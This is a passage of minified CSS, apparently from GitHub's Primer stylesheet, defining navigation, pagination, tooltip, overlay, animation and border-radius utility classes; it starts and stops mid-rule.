var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) 